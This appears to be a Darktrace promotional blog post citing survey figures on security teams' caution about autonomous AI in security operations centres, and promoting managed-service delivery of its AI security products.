Even as AI moves into the mainstream, security professionals are eyeing it with a mix of enthusiasm and caution. Although 89% say they have good visibility into the reasoning behind AI-generated outputs, 74% are limiting AI’s ability to take autonomous action in their SOC until explainability improves. 86% do not allow AI to take even small remediation actions without human oversight.

This model, commonly known as “human in the loop,” is currently the norm across the industry. It seems like a best-of-both-worlds approach that allows teams to experience the benefits of AI-accelerated response without relinquishing control – or needing to trust an AI system.

Keeping humans somewhat in the loop is essential for getting the best out of AI. Analysts will always need to review alerts, make judgement calls, and set guardrails for AI's behavior. Their input helps AI models better understand what “normal” looks like, improving their accuracy over time.

However, relying on human confirmation has real costs – it delays response, increases the cognitive burden analysts must bear, and creates potential coverage gaps when security teams are overwhelmed or unavailable. The traditional model, in which humans monitor and act on every alert, is no longer workable at scale.

If organizations depend too heavily on in-the-loop humans, they risk recreating the very problem AI is meant to solve: backlogs of alerts waiting for analyst review. Removing the human from the loop can buy back valuable time, which analysts can then invest in building a proactive security posture. They can also focus more closely on the most critical incidents, where human attention is truly needed.

Allowing AI to operate autonomously requires trust in its decision-making. This trust can be built gradually over time, with autonomous operations expanding as trust grows. But it also requires knowledge and understanding of AI — what it is, how it works, and how best to deploy it at enterprise scale.

Looking for help in all the right places

To gain access to these capabilities in a way that’s efficient and scalable, growing numbers of security leaders are looking for outsourced support. In fact, 85% of security professionals prefer to obtain new SOC capabilities in the form of a managed service.

This makes sense: Managed Security Service Providers (MSSPs) can deliver deep, continuously available expertise without the cost and complexity of building an in-house team. Outsourcing also allows organizations to scale security coverage up or down as needs change, stay current with evolving threats and regulatory requirements, and leverage AI-native detection and response without needing to manage the AI tools themselves.

Preferences for MSSP-delivered security operations are particularly strong in the education, energy (87%), and healthcare sectors. This makes sense: all are high-value targets for threat actors, and all tend to have limited cybersecurity budgets, so the need for a partner who can deliver affordable access to expertise at scale is strong. Retailers also voiced a strong preference for MSSP-delivered services. These companies are tasked with managing large volumes of consumer personal and financial data, and with transforming an industry traditionally thought of as a late adopter to a vanguard of cyber defense. Technology companies, too, have a marked preference for SOC capabilities delivered by MSSPs. This may simply be because they understand the complexity of the threat landscape – and the advantages of specialized expertise — so well.

In order to help as many organizations as possible – from major enterprises to small and midmarket companies – benefit from enterprise-grade, AI-native security, Darktrace is making it easier for MSSPs to deliver its technology. The ActiveAI Security Portal introduces an alert dashboard designed to increase the speed and efficiency of alert triage, while a new AI-powered managed email security solution is giving MSSPs an edge in the never-ending fight against advanced phishing attacks – helping partners as well as organizations succeed on the frontlines of cyber defense.

Explore the full State of AI Cybersecurity 2026 report for deeper insights into how security leaders are responding to AI-driven risks.

Learn more about securing AI in your enterprise.

[related-resource]

Continue reading
About the author
The Darktrace Community
Your data. Our AI.
Elevate your network security with Darktrace AI